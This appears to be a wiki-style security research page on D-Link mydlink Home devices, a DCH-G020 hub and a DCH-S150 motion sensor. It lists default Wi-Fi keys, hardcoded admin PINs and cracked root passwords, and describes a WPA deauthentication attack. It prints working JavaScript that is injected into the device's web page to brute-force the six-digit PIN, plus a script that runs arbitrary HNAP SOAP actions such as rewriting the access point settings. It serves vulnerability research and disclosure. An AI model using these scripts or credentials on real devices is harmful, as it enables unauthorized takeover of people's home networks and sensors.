<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey;border-color: black">State of Research</td>
<td style="background-color: white;border-color: black">UART, U-Boot, root, ro FS</td>
<td style="background-color: white;border-color: black">Wrote tool to exploit HNAP</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Ports</td>
<td style="background-color: white; border-color: black">USB B, 2x FE</td>
<td style="background-color: lightgrey;border-color: black">N/A</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Buttons</td>
<td style="background-color: white; border-color: black">WPS, Z-Wave pairing, Reset</td>
<td style="background-color: white; border-color: black">WPS, Reset</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">LED</td>
<td style="background-color: white; border-color: black">Status</td>
<td style="background-color: white; border-color: black">Status</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Power</td>
<td style="background-color: white; border-color: black">5V/2A (3W max.)</td>
<td style="background-color: white; border-color: black">230V AC, 50/60Hz</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">WLAN</td>
<td style="background-color: white; border-color: black">2.4GHz 802.11 b/g/n up to 300Mbit/s</td>
<td style="background-color: white; border-color: black">2.4GHz 802.11 b/g/n</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Other</td>
<td style="background-color: white; border-color: black">Z-Wave: 868.40 MHz</td>
<td style="background-color: lightgrey;border-color: black">N/A</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">FCC-ID</td>
<td style="background-color: white; border-color: black">KA2CHG020A1</td>
<td style="background-color: white; border-color: black">KA2CHS150A1</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">System</td>
<td style="background-color: white; border-color: black">QCA953x</td>
<td style="background-color: white; border-color: black">QCA953x</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Processor</td>
<td style="background-color: white; border-color: black">MIPS 24Kc V7.4</td>
<td style="background-color: white; border-color: black">MIPS 24Kc V7.4</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">BogoMIPS</td>
<td style="background-color: white; border-color: black">365.56</td>
<td style="background-color: white; border-color: black">365.56</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Memory</td>
<td style="background-color: white; border-color: black">DRAM: 64M</td>
<td style="background-color: white; border-color: black">DRAM: 32M</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Storage</td>
<td style="background-color: white; border-color: black">Flash: 16MB (NOR)</td>
<td style="background-color: white; border-color: black">Flash: 8MB (NOR)</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Ethernet MAC</td>
<td style="background-color: white; border-color: black">eth0 | eth1 | br0: c4:12:f5:1a:58:f4</td>
<td style="background-color: white; border-color: black">Device 1: eth0 | eth1 | br0: c4:12:f5:1c:8e:4c<br>Device 2: eth0 | eth1 | br0: c4:12:f5:1c:8e:56</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">WLAN MAC</td>
<td style="background-color: white; border-color: black">wifi0: c4:12:f5:1a:58:f4</td>
<td style="background-color: white; border-color: black">Device 1: wifi0: 06:12:f5:1c:8e:56<br>Device 2: wifi0: 06:12:f5:1c:8e:4c</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">WLAN SSID</td>
<td style="background-color: white; border-color: black">DCH-G020-58F4</td>
<td style="background-color: white; border-color: black">Device 1: DCH-S150-8E56<br>Device 2: DCH-S150-8E4C</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">WLAN PSK</td>
<td style="background-color: white; border-color: black">8482c238</td>
<td style="background-color: lightgrey;border-color: black">None</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Default IPv4</td>
<td style="background-color: white; border-color: black">192.168.0.80/24</td>
<td style="background-color: white; border-color: black">192.168.0.60/24</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Hostname</td>
<td style="background-color: white; border-color: black">DCH-G020</td>
<td style="background-color: white; border-color: black">DCH-S150</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">NET Protocols</td>
<td style="background-color: white; border-color: black">HNAP; HTTP; UPnP</td>
<td style="background-color: white; border-color: black">HNAP; HTTP</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Interfaces</td>
<td style="background-color: white; border-color: black">ttyS0: console;<br> ath0: VAP device;<br> sit0: IPv6-in-IPv4<br> ttyACM0: USB ACM device;</td>
<td style="background-color: white; border-color: black">ttyS0: console; <br>ath0 | ath1: VAP device; <br>sit0: IPv6-in-IPv4</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Ports</td>
<td style="background-color: white; border-color: black">80 http llighttpd 1.4.48;<br>49152 upnpd (UPnP 1.0)</td>
<td style="background-color: white; border-color: black">80 http llighttpd 1.4.48</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Webpage</td>
<td style="background-color: white; border-color: black">http://192.168.0.60</td>
<td style="background-color: white; border-color: black">http://192.168.0.80/Login.html</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Webaccess</td>
<td style="background-color: white; border-color: black">Admin: "139885" (unchangable)</td>
<td style="background-color: white; border-color: black">Admin: "653508" (unchangable)<br>Admin: "770383" (unchangable)</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Root Password</td>
<td style="background-color: white; border-color: black">whatsup (brute-force)</td>
<td style="background-color: white; border-color: black">qsefthuko; (brute-force)</td>
<tr>
<td style="background-color: darkgrey; border-color: black">Other Login Pw</td>
<td style="background-color: white; border-color: black">adm | bin | deamon | nobody: None</td>
<td style="background-color: white; border-color: black">adm | bin | deamon | nobody: None</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr style="border-width: 2px 2px 0 2px;>
<td style="background-color: darkgrey; border-color: black">Firmware</td>
<td style="background-color: white; border-color: black">1.00</td>
<td style="background-color: white; border-color: black">1.06</td>
</tr>
<tr style="border-width: 0 2px 2px 2px;>
<td style="background-color: darkgrey; border-color: black">Hardware</td>
<td style="background-color: white; border-color: black">A1</td>
<td style="background-color: white; border-color: black">A1 (others A2, B)</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr style="border-width: 2px 2px 0 2px;>
<td style="background-color: darkgrey; border-color: black">Baudrate</td>
<td style="background-color: white; border-color: black">Linux: 115200 bps (8N1)<br>U-Boot: 115200 bps (7N1)</td>
<td style="background-color: white; border-color: black">Linux: 115200 bps (8N1)<br>U-Boot: 115200 bps (7N1)</td>
</tr>
<tr style="border-width: 0 2px;>
<td style="background-color: darkgrey; border-color: black">Bootdelay</td>
<td style="background-color: white; border-color: black">3s (Any key)</td>
<td style="background-color: white; border-color: black">3s (Any key)</td>
</tr>
<tr style="border-width: 0 2px;>
<td style="background-color: darkgrey; border-color: black">U-Boot</td>
<td style="background-color: white; border-color: black">1.1.4-LSDK-10.1.432 (Mar 17 2015)</td>
<td style="background-color: white; border-color: black">1.1.4–LSDK-10.1.432 (Apr 8 2014)</td>
</tr>
<tr style="border-width: 0 2px;>
<td style="background-color: darkgrey; border-color: black">mtdparts</td>
<td style="background-color: white; border-color: black">ath-nor0: <br>64k(u-boot), <br>64k(ART), 64k(MP), <br>64k(config), <br>64k(bootarg), <br>2048k(uImage), <br>12736k(rootfs1), <br>64k(log), <br>512k(mydlink), <br>512k(data1), <br>128k(data2), <br>64k(data3)</td>
<td style="background-color: white; border-color: black">ath-nor0:<br>64k(u-boot),<br>64k(ART),64k(MP),<br>64k(config),<br>64k(log),<br>896k(bk_uImage), <br>1536k(bk_rootfs), <br>896k(uImage),<br>4032k(rootfs), 2432k@0x50000(bk_firmware),<br>4928k@0x2b0000(firmware),<br>512k@0x780000(mydlink)</td>
</tr>
<tr style="border-width: 0 2px;>
<td style="background-color: darkgrey; border-color: black">Filesystem</td>
<td style="background-color: white; border-color: black">squashfs (root): version 4.0 (2009/01/31) <br>JFFS2 (mtd8 to /dch) version 2.2 (NAND)</td>
<td style="background-color: white; border-color: black">squashfs (root): version 4.0 (2009/01/31)<br>JFFS2 (mtd11 to /dch) version 2.2 (NAND)</td>
</tr>
<tr style="border-width: 0 2px;>
<td style="background-color: darkgrey; border-color: black">Image</td>
<td style="background-color: white; border-color: black">Linux kernel image (2016-06-29)</td>
<td style="background-color: white; border-color: black">Linux Kernel Image (2018-01-03)<br>(Backup mode Linux kernel available)</td>
</tr>
<tr style="border-width: 0 2px;>
<td style="background-color: darkgrey; border-color: black">Linux</td>
<td style="background-color: white; border-color: black">2.6.31 (Jun 29 2016)<br>(adminuser@adminuser-VirtualBox)<br>(gcc version 4.3.3 (GCC))</td>
<td style="background-color: white; border-color: black">2.6.31 (Jan 3 2018)<br>(root@minlee-Mint17)<br>(gcc version 4.3.3 (GCC))</td>
</tr>
<tr style="border-width: 0 2px 2px 2px;>
<td style="background-color: darkgrey; border-color: black">Kernel cmdline</td>
<td style="background-color: white; border-color: black">console=ttyS0,115200 init=/sbin/init <br>root=31:6 rootfstype=squashfs <br>mtdparts=${mtdparts}</td>
<td style="background-color: white; border-color: black">console=ttyS0,115200 init=/sbin/init <br>root=31:8 rootfstype=squashfs <br>mtdparts=${mtdparts} mem=32M</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr style="border-width: 2px 2px 0 2px;>
<td style="background-color: darkgrey; border-color: black">Shell</td>
<td style="background-color: white; border-color: black">sh / ash</td>
<td style="background-color: white; border-color: black">sh / ash</td>
</tr>
<tr style="border-width: 0 2px;>
<td style="background-color: darkgrey; border-color: black">BusyBox</td>
<td style="background-color: white; border-color: black">v1.21.1–LSDK-10.2 (2016-06-29)</td>
<td style="background-color: white; border-color: black">v1.21.1–LSDK (2018-01-03)</td>
</tr>
<tr style="border-width: 0 2px 2px 2px;>
<td style="background-color: darkgrey; border-color: black">Services</td>
<td style="background-color: white; border-color: black">lighttpd/1.4.34;<br>hostapd v2.0-devel;<br>udhcpc (v1.21.1);<br>control_center;<br>app_center;<br>lan_center;<br>wifi_center;<br>dchc_center;<br>zw_meter_check;<br>zw_center (/dev/ttyACM0)</td>
<td style="background-color: white; border-color: black">lighttpd/1.4.48;<br>hostapd v2.0-devel; <br>control_center; <br>lan_center;<br>wifi_center;<br>dchc_center;<br>nf_conntrack version 0.5.0</td>
</tr>
</table>
</div>
</div>
</div>


<h2>Online</h2>
<h3>WLAN</h3>
<p style="text-align: justify">To successfully compromise the MyDlink Home product line using HNAP or any other TCP/IP-based attack, it is necessary to gain access to WLAN the devices are operating in. The basis of the method used in this examination lies in capturing of the WPA/WPA2 authentication handshake and then cracking the Pre-Shared Key (PSK). Wi-Fi Protected Access (WPA) and Wi-Fi Protected Access 2 (WPA2) are security protocols to secure wireless networks. While WPA/WPA2 superseded the previous flawed system Wired Equivalent Privacy (WEP), WPA has also its security issues. It remains vulnerable to Brute Force attacks of weak passphrases. Whenn initially configuring the devices, the [[:D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|DCH-S150 Motion Sensor]] exposes an unsecured WLAN with access to the device. This WLAN network will be switched of, once the device is setup using the App and subsequently paired with the [[D-LINK® DCH-G020 Gateway Connected Home Hub|DCH-G020 Home Hub]], while that device keeps its AP up and running the whole time.</p>

<p style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;"><b>Note</b>: The HNAP API may be used to setup the device manually without using the corrensponding APP by configuring the [[:D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|DCH-S150 Motion Sensor]] using the HNAP1 <code>SetAPClientSettings</code> method. </p>

<h4>Deauthentication Attack</h4>
<p style="text-align: justify">The [[WPA/WPA2 PSK deauthentication attack with aircrack-ng|attack]] in this examination was carried out using the tool [[aircrack-ng]]. Since the setup was already in a working condition, the client, in this case the motion sensor, was forced to deauthenticate from the access point, in this case being the hub. The goal is to force the motion sensor to no longer associate with the access point and ultimately causing reauthentication using aireplay-ng. Furthermore, it is possible to capture the new authentication handshake. Through this WPA/WPA2-PSK was obtained and using [[John the Ripper]] or [[Hashcat]] it was attempted to crack the password with a suitable word list. More about this process can be found in the article [[WPA/WPA2 PSK deauthentication attack]].</p>

<h3>Network Mapper</h3>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ D-Link® DCH-G020: Gateway Connected Home Hub</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<nowiki>
PORT STATE SERVICE VERSION
</nowiki><b>80</b><nowiki>/tcp open http lighttpd 1.4.34
|_http-server-header: lighttpd/1.4.34
|_http-title: 400 - Bad Request

</nowiki><b>49152</b><nowiki>/tcp open upnp Cisco-Linksys E4200 WAP upnpd (UPnP 1.0)

MAC Address: C4:12:F5:1A:58:F4 (D-Link International)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.17 - 2.6.36
Service Info: CPE: cpe:/h:cisco:e4200</nowiki>
</div>
</div>
</div>


<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ D-Link® DCH-S150: Home Wi-Fi Motion Sensor</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<div style="width: 100%; text-align: left;">
<nowiki>
</nowiki><b>80</b><nowiki>/tcp open http lighttpd 1.4.48
|_http-server-header: lighttpd/1.4.48
|_http-title: Site doesn't have a title (text/html).

MAC Address: C4:12:F5:1C:8E:4C (D-Link International)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.17 - 2.6.36</nowiki>
</div>
</div>
</div>
</div>

<h3>Web Interface</h3>
<p style="text-align: justify">A compressed copy of the [[D-LINK® DCH-G020 Gateway Connected Home Hub|DCH-G020 Home Hub]] client-side webpage can be found [[Media:DCH-G020_webpage.zip|here]]. And a compressed copy of the [[:D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|DCH-S150 Motion Sensor]] client-side webpage can be found [[Media:DCH-S150_webpage.zip|here]]. The website does have authentication options using challenge-response mechanisms. The webpage it self provides no functionalities besides authentication and displaying some few device information. It is very interesting, that it is not possible to change any configuration of the device in the web interface at all. Legitimate users can’t manage their devices through the web interface. Since the device can be managed through HNAP actions, the next logical step was to forge HNAP messages to manipulate the device.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ D-Link® DCH-G020: Gateway Connected Home Hub</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">

<gallery caption="DCH-G020 Home Hub: Webpage" mode="packed-hover" style="border: 1px solid #a7d7f9; background-color: #f8f9fa; border-radius: 3px" heights=250px>
image:DCH-G020_webpage_login.png|Login.html
image:DCH-G020_webpage_firmware.png|Firmware.html
</gallery>

</div>
</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ D-Link® DCH-S150: Home Wi-Fi Motion Sensor</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<div style="width: 100%; text-align: left;">

<gallery caption="DCH-S150 Motion Sensor: Webpage" mode="packed-hover" style="border: 1px solid #a7d7f9; background-color: #f8f9fa; border-radius: 3px" heights=250px>
image:DCH-S150_webpage_Login.png|Login.html
image:DCH-S150_webpage_version.png|version.txt
</gallery>

</div>
</div>
</div>
</div>

<h4>Brute-Force Pin</h4>
<p style="text-align: justify">To attack the web interface pin, access to the wireless network of the devices is necessary. From this point forward, this examination proceeds on the assumption that access was gained to network. The employed password for the web interface is a numeric 6-char Pin which is hardcoded with the device, leading to a keyspace of only 10<sup>7</sup>-1 possible password within <code>^[0-9]{6}$</code>.</p>

<p style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;"><b>Note</b>: This password is used with the web interface login form and also for authentication within HNNAP actions from the corresponding mobile application. Thus it is used for manual execution of HNAP actions in further steps.</p>

<p style="text-align: justify">Requesting the web page of the device with the assigned IP address in a browser yields a login form with pre-filled username “Admin”. One can view the <code>Login.html</code> and its association JavaScript files (.js), which are <code>AES.js</code>, <code>hmac_md5.js</code> and <code>soapclient.js</code>. The latter confirms that the motion sensor uses SOAP protocol. Each of these script files has proven useful and have been used to provide the basic functionality for injecting SOAP actions. Upon further investigating the HTTP service <code>do_login()</code> function was discovered. This method is called upon clicking the <code>Login</code> button. It loads the input parameters of <code>User Name</code> and <code>Password</code> and verifies the authentication of said parameters. Using this method, a script was written to brute force the 6-digit pin of the web interface. This Script completely uses existing functions provided by the device but specialised tools like [[THC-Hydra]] may also be used. In order to execute the stcript, launch the the web browsers console within its developer tools. By copy pasting the below script to the console, the <code>send_login_cmd_result()</code> function will be overridden. From initially alerting the user if the login was unsuccessful to trying the next possible password on failure. In order to use existing code, the new password to try is simply written into the corresponding HTML input field. Additionally, this input field is switched from <code>type='password'</code> to <code>type='text'</code> for better BF progress visualisation.<p>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ <nowiki>Brute-Force_Pin.inject.js</nowiki></div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
For execution this code must be injected into the client-side mydlink web page via the browser console.
<syntaxhighlight lang="javascript">
// Use timer
//27s per 100 tries; estimated max: 3.1days; Avg: 1.55days
//20s per 100 tries with 4 web "threads"; estimated max: 2.3days; Avg: 1.15days
var t0 = performance.now();

// Example Pins
// DCH-S150: 653508
// DCH-G020: 139885
let PIN = 0, MAX = 999999;

// Override embedded function
function send_login_cmd_result ( http_req ) {
// Parse response from login action to XML
$xml = $( $.parseXML( http_req.responseText ) );

// Check if login attempt was successful
if( $xml.find( LOGIN + "Result" ).text() == "success" )
{
// Stop timer
var t1 = performance.now();
// Display valid password and time
alert( "PIN: " + PIN + '\n' + "Time: " + (t1-t0)/1000 + "s.");
}
// Increment PIN if not reached MAX
else if ( ++PIN <= MAX )
{
// Try next PIN
bfPIN();
}
}

// Added function to set new PIN and trigger login process
function bfPIN ()
{
// Save (String)PIN
sPIN = ("000000"+PIN).substr(("000000"+PIN).length-6)
// Set sPIN to #user_pwd input field
$("#user_pwd").val(sPIN);
// Trigger login process
do_login();
}

// Replace input fields from type password with type text for visibility and progress insights
$('body')
.find('input:password')
.each( function() {
$("<input type='text' />")
.attr({ id: this.id, name: this.name, value: this.value })
.insertBefore(this);
})
.remove();

// Start all the above
bfPIN();
</syntaxhighlight>

</div>
</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ <nowiki>Brute-Force_Pin.inject.min.js</nowiki></div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<syntaxhighlight lang="javascript">
let PIN = 0, MAX = 999999;

//Override embedded function
function send_login_cmd_result (http_req) {
$xml = $($.parseXML(http_req.responseText));
if(http_req && $xml.find(LOGIN + "Result").text() == "success"){
alert(PIN);
} else if ( ++PIN <= MAX ) {
$("#user_pwd").val(("000000"+PIN).substr(("000000"+PIN).length-6));
do_login();
}
}

// Start bruteforcing PIN
send_login_cmd_result({"responseText": null});
</syntaxhighlight>
</div>
</div>
</div>

<p style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;"><b>Note</b>: It is important to mention, that the <code>do_login()</code> method has not been changed in any way for this attack. The only method that has been altered is the <code>send_login_cmd_result()</code> to bypass the “Password wrong”-notifications, resulting in a more time-efficient and simple brute force attack using existing code.</p>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The login process can be analyzed using Wireshark or similar tools</div>

<p style="text-align: justify">It is possible to attempt 100 tries in 20 seconds while executing the script four times in parallel. Unfortunately the motion sensor couldn’t handle more than four “threads”, attempts were skipped and the whole process became slower. With 1 million different combinations the expected value of tries in a successful brute force attack amounts to 500,000 on average. Therefore, it is estimated that one can crack the pin in ca. 1.15 days on average with a maximum of ca. 2.3 days.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ Proof-of-Concept</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">

<gallery caption="Proof-of-Concept" mode=packed-hover heights=250px>
image:DCH-S150_webpage_login_bf.png|653508
image:DCH-G020_webpage_login_bf.png|139885
</gallery>

</div>
</div>
</div>

<p style="text-align: justify">After authentication and redirection, one is presented with the content of <code>http://$IP/version.txt</code> <b>as shown above</b>. It is possible to extract a lot of information about the device, such as the firmware installed on it, the kernel, the MAC address and several drivers among other things.</p>

<h4>Execute SOAP Actions</h4>
<p style="text-align: justify">The first thing examined was the devices resistance against replay attacks. None of the attempts worked, so it can be concluded that HNAP security is mindful of attacks of this kind. As a result, the web interface was investigated in detail to learn about the employed communication process as also for [[#Brute-Force Pin|brute-forcing the PIN]]. It was learned that login is basically also an HNAP action, which after being enforced successfully enables a session. All the actions listed in the result of the <code <nowiki>http://$IP/HNAP1</nowiki></code> are executable based on the established keys and authentication values. It is necessary to accentuate that absolutely no keys or values were forged in this examination to prosperously execute an HNAP action within a once established session. Neither was it necessary to write any kind of script or use a separate SOAP client for the task. The class SoapClient which is already provided by the webpage, was used to carry out the attack. The only thing which was altered was the <code>send_login_cmd_result()</code> function, to allow for executing self-composed actions. This function calls an injected function called <code>send_custom_cmd()</code>. Therefore it is called when a successful login occurs. The second function which was added is the <code>send_custom_cmd_result()</code>, which acts as a listener and is being called whenever a response is received. Through these minor changes the established session can be exploited to enforce any HNAP action. Fig.14 shows the execution of HNAP action GetDeviceSettings, which represents an action where it’s not needed to set any parameters in the HNAP_PARAM field, since it’s a “get”-method. Fig.15 shows the execution of SetAPClientSettings, where parameters have been set, to reconfigure the clients’ access point settings.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ <nowiki>execute_SOAPaction.inject.js</nowiki></div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
For execution this code must be injected into the client-side mydlink web page via the browser console.
<syntaxhighlight lang="javascript">
var HNAP_ACTION = "GetDeviceSettings";
var HNAP_PARAM = "";

var PIN = "653508";

function send_custom_cmd(){
var client = new SoapClient();
var user_pwd = document.getElementById("user_pwd").value;
var challenge = localStorage.getItem("Challenge");
var privateKey = localStorage.getItem("PrivateKey");
var login_pwd = hex_hmac_md5(privateKey, challenge);

client.sendRequest(HNAP_ACTION, HNAP_PARAM, send_custom_cmd_result, true);
}

function send_custom_cmd_result(http_req){
console.log(http_req.responseText);
}

function send_login_cmd_result(http_req){
var xmlDoc = $.parseXML(http_req.responseText);
console.log("Login: "+$(xmlDoc).find(LOGIN + "Result").text());
send_custom_cmd();
}

$("#user_pwd").val(PIN);

localStorage.setItem("PrivateKey", "");
localStorage.setItem("PublicKey", "");
localStorage.setItem("Challenge", "");

console.clear();
</syntaxhighlight>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ <nowiki>More complex SOAP action</nowiki></div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<syntaxhighlight lang="javascript">
var WLAN_PASSWORD = AES_Encrypt128("8482c238"); //Needs: localStorage.getItem('PrivateKey')

var HNAP_ACTION = "SetAPClientSettings";
var HNAP_PARAM = "<RadioID>RADIO_2.4GHz</RadioID>"+
"<Enabled>true</Enabled>"+
"<SSID>DCH-G020-58F4</SSID>"+
"<MacAddress>c4:12:f5:1a:58:f4</MacAddress>"+
"<ChannelWidth>1</ChannelWidth>"+
"<SupportedSecurity>"+
"<SecurityInfo>"+
"<SecurityType>WPA2-PSK</SecurityType>"+
"<Encryptions><string>AES</string></Encryptions>"+
"</SecurityInfo>"+
"</SupportedSecurity>"+
"<Key>"+WLAN_PASSWORD+"</Key>";
</syntaxhighlight>
</div>
</div>
</div>
</div>
</div>
</div>

<h4>HNAP0wn</h4>
<p style="text-align: justify">HNAP0wn is a graphical tool that allows us to find devices that use the Home Network Administration Protocol (HNAP) <b>([[File:HNAP Protocol.pdf]])</b>, collect information about them, and inject commands. Additionally it contains a method to brute-force the PIN of mydlink devices as mentioned above. More about this tool can be found in the article [[HNAP0wn: The Home Network Administration Protocol Owner]].</p>

<h2>Offline</h2>
<p style="text-align: justify">In order to gain a better understanding of how the sensor works and responds to incoming commands, the examination began with the physical opening of the motion sensor with the intention of gaining backdoor access through a Universal Asynchronous Transmitter and Receiver (UART) Serial interface which can be found on many embedded devices.</p>

<p style="text-align: justify"><b>Preliminary examination</b>: Many embedded devices are difficult to disassemble physically. Either it is an ingenious construction consisting of many small individual parts that do not like to be separated from each other, or it is a simple clipping system which is still very difficult to open without damaging the enclosure. In any case, it is worth taking a look at the database of the Federal Communications Commission (FCC) first, before venturing into the hardware. The FCC Regulation Database contains useful information about all devices approved by the FCC for the American market. The FCC ID is a unique alphanumeric code that is usually found on the product label, packaging, or online. It is the product ID assigned by the FCC to identify products in the market. The FCC chooses 3 or 5 character <i>Grantee</i> codes to identify the business that created the product. For example, the grantee code for FCC ID: <i>KA2CHG020A1</i> is <i>KA2</i>. The remaining characters of the FCC ID, <i>CHG020A1</i>, are often associated with the product model, but they can be random. These letters are chosen by the applicant. Information accessible by [https://www.fcc.gov/oet/ea/fccid FCC ID] or by using this [https://fccid.io/ alternative client]: Test Setup Photos, Test Report, Cover Letter(s), RF Exposure Info, Users Manual, ID Label/Location Info, Internal Photos, External Photos, Operational Description, Schematics and/or Block Diagram.</p>

<ul>
<li>[https://fccid.io/KA2 D-Link<sup>®</sup> FCC Applications: KA2]</li>
<li>[https://fccid.io/KA2CHG020A1 DCH-G020 Home Hub FCCID: KA2CHG020A1]</li>
<li>[https://fccid.io/KA2CHS150A1 DCH-S150 Motion Sensor FCCID: KA2CHS150A1]</li>
</ul>

<p style="text-align: justify">These <b>Documents</b> must be submitted by the manufacturer for certification of a device and are accessible to the end-user. The internal photos are of great interest, as they can provide information on whether On-Chip Debug (OCD) interfaces like the UART are available or not. However, this decision is based on experience, and it is never possible to tell whether OCD interfaces are available by just looking at a photo of the board and can only be done by physical intervention, which will be explained in the next section. Additional regional databases of regulatory organizations may also be useful since not every device has FCC approval.</p>

<b>Disassembly</b> typically requires a few tools and strong nerves. A smaller Phillips screwdriver (PH0/PH3) and some plastic opening tools are generally sufficient. Furthermore, some additional tools were used. These are a USB-to-TTL converter ([https://www.aliexpress.com/af/CH340G.html?d=y&origin=n&SearchText=CH340G&catId=0&initiative_id=SB_20200202032157 CH340G]) shipped from china for the cost of one buck and a common multimeter to determine the pin assignment. Alternative instruments are introduced as needed. The functions of the CH340G can also be performed by a development board like the Raspberry Pi.

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ D-Link® DCH-G020: Gateway Connected Home Hub</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">

<gallery caption="DCH-G020 Home Hub: Main Printed Circuit Board" mode="packed-hover" style="border: 1px solid #a7d7f9; background-color: #f8f9fa; border-radius: 3px" heights=300px>
image:DCH-G020_PCB_Front.JPG|Front
image:DCH-G020_PCB_Back.JPG|Back
</gallery>

</div>
</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ D-Link® DCH-S150: Home Wi-Fi Motion Sensor</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<div style="width: 100%; text-align: left;">

<gallery caption="DCH-S150 Motion Sensor: Main Printed Circuit Board" mode="packed-hover" style="border: 1px solid #a7d7f9; background-color: #f8f9fa; border-radius: 3px" heights=300px>
image:DCH-S150_PCB_Front.JPG|Front
image:DCH-S150_PCB_Back.JPG|Back
</gallery>

</div>
</div>
</div>
</div>

<h3>On-Chip Debug</h3>
[[File:CH340G_USB_to_UART.png|150px|right|thumb|CH340G: USB-to-TTL]]
